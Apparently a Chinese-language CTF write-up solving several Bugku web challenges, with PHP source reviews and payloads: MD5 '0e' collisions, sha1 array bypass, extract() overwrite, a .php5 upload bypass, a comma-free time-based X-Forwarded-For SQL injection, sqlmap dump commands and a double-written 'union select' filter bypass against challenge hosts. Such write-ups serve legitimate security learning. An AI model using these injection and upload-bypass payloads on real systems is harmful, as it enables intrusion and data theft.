md5 collision

要求input a,题目提示很清楚了。
利用php的特性:

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

0e开头的MD5汇总
payload:?a=s878926199a


各种绕过

php审计:

 <?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {if ($_GET['uname'] == $_POST['passwd'])print 'passwd can not be uname.';else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))die('Flag: '.$flag);elseprint 'sorry!';
}
?> 

要求:
$_GET['uname'] != $_POST['passwd']
sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')

sha1函数漏洞:

sha1()函数无法处理数组类型,将报错并返回NULL

构造:
uname[]=a;
passwd[]=b;
id=margin;

得到flag


web8

hint:txt??!
审计:

<?php
extract($_GET);    //extract() 函数从数组中将变量导入到当前的符号表。
if (!empty($ac))
{
$f = trim(file_get_contents($fn));//trim()去除字符串首尾处的空白字符(或者其他字符)
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

要求:
extract($_GET)
$f = trim(file_get_contents($fn))
$ac === $f
提示有txt文件,经尝试发现:flag.txt 内容为:flags

构造payload:
http://120.24.86.145:8002/web8/?ac=flags&fn=flag.txt

得到flag


细心

hint:想办法变成admin
打开页面如下:

没有任何线索。最后在robot.txt下发现如下内容:

User-agent: *
Disallow: /resusl.php

robot.txt是网站爬虫规则的描述,相关自行百度。

打开result.php:

payload:
http://120.24.86.145:8002/web13/resusl.php?x=admin
额,鬼知道他这个密码是哪来的,就当是撞默认密码吧。或者用字典爆破。

求getshell

先说解法:

上传1.php.jpg
用burp抓包,找到content-type字段:
Content-Type: multipart/form-data; boundary=---------------------------146043902153
修改 multipart/form-data的大小写,
最后将文件后缀改为 .php5,提交得到flag。

这题我还没弄明白
网上说这题是后缀名黑名单检测和类型检测

php别名:php2, php3, php4, php5, phps, pht, phtm, phtml(只有php5没被过滤)
至于为什么修改content-Type大小写可以绕过,我还没搞懂。

Http Header里的Content-Type


INSERT INTO注入

给出代码如下:

error_reporting(0);function getIp(){$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
/************获取IP*************************************/$ip_arr = explode(',', $ip);//过滤逗号
return $ip_arr[0];}$host="localhost";
$user="";
$pass="";
$db="";$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");mysql_select_db($db) or die("Unable to select database");$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

可以看到,这是X-Forwarded-For的注入,而且过滤了逗号,。在过滤了逗号的情况下,我们就不能使用if语句了,在mysql中与if有相同功效的就是:
select case when 语句1 then 语句1 else 语句1 end;
当语句1为真,执行语句2,否则执行语句3

而且由于逗号,被过滤,我们就不能使用substrsubstring了,但我们可以使用:from 1 for 1,所以最终我们的payload如下:
127.0.0.1'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))-- +
脚本之后补上。

这是一个神奇的登陆框

打开页面显示一个登陆框:
测试语句:' " / \ | )
报错,这意味着该页面无法处理某些特殊字符,可能存在注入。
分析报错语句得到变量由"包裹。
测试语句:admin_name=" or 1=1#&admin_passwd=&submit=GO GO GO爆出用户名字段,存在注入。
丢进sqlmap:
因为是post请求,用burp抓包保存请求头文件bugku.txt
爆数据库:python sqlmap.py -r "C:\Users\horyit\Desktop\杂项\bugku.txt" -p admin_name --dbs
爆表名:python sqlmap.py -r "C:\Users\horyit\Desktop\杂项\bugku.txt" -p admin_name -D bugkusql1 --tables
爆字段名:python sqlmap.py -r "C:\Users\horyit\Desktop\杂项\bugku.txt" -p admin_name -D bugkusql1 -T flag1 --columns
获取数据:python sqlmap.py -r "C:\Users\horyit\Desktop\杂项\bugku.txt" -p admin_name -D bugkusql1 -T flag1 -C --dump

ps:爆字段名是出现问题,手注显示错误Got error 28 from storage engine,百度无果,感觉是题出了问题。但做题的逻辑应该就是这样。
flag:flag{ed6b28e684817d9efcaf802979e57aea}


多次

经测试:单引号报错,加注释返回正常,有过滤。
判断过滤:异或注入(同假异真),过滤了union,select,or(注意order里面有or,这是个坑),and
关于异或注入
尝试绕过:重写 如:union –>uniunionon
发现可以绕过
payload:http://120.24.86.145:9004/1ndex.php?id=1' uniounionn selecselectt 1,2%23
之后就是常规操作。
出了一点问题,之后补上。

bugku web题 33-40 wp相关推荐

  1. CTF Web题 部分WP

    1.web2 听说聪明的人都能找到答案 http://123.206.87.240:8002/web2/ CTRL + u 查看源代码 2.计算器 http://123.206.87.240:8002 ...

  2. 论剑场中部分web题的WP

    好久不更,最近在学习ctf,今天更一波new bugctf论剑场中部分web题的WP,有一部分是借鉴大佬的博客! web25 有一个输入框,一个下载链接,随便输入显示wrong!,下载链接进去后转ht ...

  3. [GDG CTF 2022] 几个小题,等WP

    pwn-counter 作出来的基本都是入门题,这题给了源码,有3个功能1是counter++,2是counter--,但到1就不再减,3是给flag但要求counter==0.由于counter是字 ...

  4. bugku CTF题

    web题 矛盾: !is_numeric()函数: 用于检测变量是否为数字或数字字符串 如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE 需要num不为数字字符串或者数字,但nu ...

  5. 第十届极客大挑战——部分web和RE的WP

    第十届极客大挑战--部分web和RE的WP 昨天刚刚搞完湖湘杯和软考,累的一批,,,,湖湘杯的wp就不写了,写写这个wp 这个好像是一个月之前就开始的,打了一个月,不断的放题,题也做了不少,,, 其他 ...

  6. Bugku—web题解

    前言:最近做了一些Bugku入门的web题目,感觉web题挺有趣的,并非是得出flag,而是可以通过一个题目学习到很多知识. 域名解析 题目说把 flag.baidu.com 解析到123.206.8 ...

  7. Bugku—web(一)

    前言: 最近做了几个bugku的web题,感觉挺有意思的,学到了不少东西:顺便总结下.(= ̄ω ̄=) 1.你必须让他停下: 打开链接,发现有个一直在闪的页面,时不时还会出现张图片:这是用了 js的se ...

  8. [Bugku][Web][CTF] 9-15 write up

    [说明] 整合资源 简略版本2020Bugku write up Bugku Web第九题 关键字 :/?args=GLOBALS PHP 将所有全局变量存储在一个名为 $GLOBALS[index] ...

  9. 攻防世界Web题 - unseping 总结

    攻防世界Web题 - unseping 总结 1.审题 进入题目,可以看出来是典型的php反序列化题目. 2.源代码分析 <?php highlight_file(__FILE__); //显示 ...

最新文章

  1. 在ChemDraw中如何使用ChemACX
  2. 1、VGG16 2、VGG19 3、ResNet50 4、Inception V3 5、Xception介绍——迁移学习
  3. Stata 17 for Win 最新中文附详细安装教程
  4. Scrapy-Link Extractors(链接提取器)
  5. linux帆软内存设置,修改FineReport配置参数
  6. Python趣味编程3则:李白买酒、猴子吃桃、宝塔上的琉璃灯
  7. 微信小程序点击事件传递参数
  8. Java合并两个有序链表
  9. 游戏网站运营文章——原神七七介绍
  10. 第十四、十五周新总结
  11. X-Header在七号信令中如何使用 1
  12. Rust语言Ownership,Reference和Lifetime详解
  13. 传奇3服务器配置文件,传奇3.0服务器的架设和设置详细介绍
  14. MAC下虚拟机PD转换成win上可以用的vmware
  15. dst发育筛查有意义吗_Dst发育筛查是什么?
  16. [BZOJ2754][SCOI2012]喵星球上的点名 后缀数组
  17. 京瓷1800打印机扫描步骤_京瓷1800操作指南
  18. opencv学习笔记(2017年8月21日)之图像腐蚀操作
  19. IGT 2013校园招聘 笔试题
  20. Shell中的美元符号$

热门文章

  1. 给自己电脑增加数T的空间(不用添加硬盘)
  2. 基于vfw的局域网语音聊天室系统源码论文
  3. 爬取斗鱼中用户信息和图片
  4. 2023年华数杯数学建模B题思路以及源码
  5. 3度带6度带换算以及带号计算
  6. 根据下列信息计算在1901年1月1日至2000年12月31日间共有多少个星期天落在每月的第一天上?
  7. geojson 格式说明(格式详解)
  8. 窄带物联网(NB-IoT)科技的特征是什么?
  9. 今日头条一面问题随记
  10. IVX低代码平台——微信小程序获取用户信息